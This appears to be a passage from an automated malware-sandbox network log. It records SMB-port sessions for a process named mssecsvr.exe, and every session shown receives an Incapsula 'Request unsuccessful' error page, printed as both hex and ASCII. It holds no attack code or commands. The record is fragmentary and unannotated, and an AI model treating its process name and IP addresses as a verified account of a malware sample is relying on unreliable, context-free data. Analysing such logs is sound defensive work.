61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 33 2d 31 34 35 36 33 34 33 30 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 30 37 30 36 33 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 36 39 33 36 38 38 37 30 32 31 37 36 32 36 36 30 36 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 36 39 33 36 38 38 37 30 32 31 37 36 32 36 36 30 36 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=13-145634302-0%200NNN%20RT%281658338407063%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-693688702176266061&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-693688702176266061</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	45.60.207.19	445	192.168.2.7	57905	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:30.788639069 CEST	11433	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 14-166794189-0 0NNN RT(1658338410106 3) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 36 36 37 39 34 31 38 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 31 30 31 30 36 25 32 30 33 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 37 38 32 38 32 38 31 39 37 31 39 34 31 37 32 32 33 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 37 38 32 38 32 38 31 39 37 31 39 34 31 37 32 32 33 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-166794189-0%200NNN%20RT%281658338410106%203%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-782828197194172238&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-782828197194172238</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	50232	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	45.60.207.20	445	192.168.2.7	57908	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:30.931121111 CEST	11436	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 10-63016420-0 0NNN RT(1658338410471 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 36 33 30 31 36 34 32 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 31 30 34 37 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 32 31 33 35 35 31 30 39 36 34 38 33 30 35 32 39 30 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 32 31 33 35 35 31 30 39 36 34 38 33 30 35 32 39 30 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-63016420-0%200NNN%20RT%281658338410471%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-321355109648305290&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-321355109648305290</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	45.60.207.20	445	192.168.2.7	58116	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:33.988660097 CEST	11445	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 6-11206824-0 0NNN RT(1658338413527 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 36 2d 31 31 32 30 36 38 32 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 31 33 35 32 37 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 38 31 38 34 33 36 34 34 33 30 31 39 39 39 34 32 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 38 31 38 34 33 36 34 34 33 30 31 39 39 39 34 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=6-11206824-0%200NNN%20RT%281658338413527%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-58184364430199942&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-58184364430199942</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	45.60.207.21	445	192.168.2.7	58195	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:34.184582949 CEST	11448	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 10-4954324-0 0NNN RT(1658338413810 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 34 39 35 34 33 32 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 31 33 38 31 30 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 33 33 36 38 37 30 36 36 32 30 31 39 39 35 36 32 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 33 33 36 38 37 30 36 36 32 30 31 39 39 35 36 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-4954324-0%200NNN%20RT%281658338413810%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-23368706620199562&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-23368706620199562</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	45.60.207.21	445	192.168.2.7	58412	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:37.286355972 CEST	11456	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 7-4268414-0 0NNN RT(1658338416909 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 34 32 36 38 34 31 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 31 36 39 30 39 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 39 38 37 34 39 39 31 32 34 33 30 37 32 31 33 35 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 39 38 37 34 39 39 31 32 34 33 30 37 32 31 33 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-4268414-0%200NNN%20RT%281658338416909%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-19874991243072135&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-19874991243072135</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	45.60.207.22	445	192.168.2.7	58436	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:37.468507051 CEST	11459	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 4-5030183-0 0NNN RT(1658338416792 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 34 2d 35 30 33 30 31 38 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 31 36 37 39 32 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 33 38 30 37 37 35 39 36 36 32 37 31 33 30 32 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 33 38 30 37 37 35 39 36 36 32 37 31 33 30 32 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=4-5030183-0%200NNN%20RT%281658338416792%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-23807759662713028&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-23807759662713028</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	45.60.207.22	445	192.168.2.7	58646	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
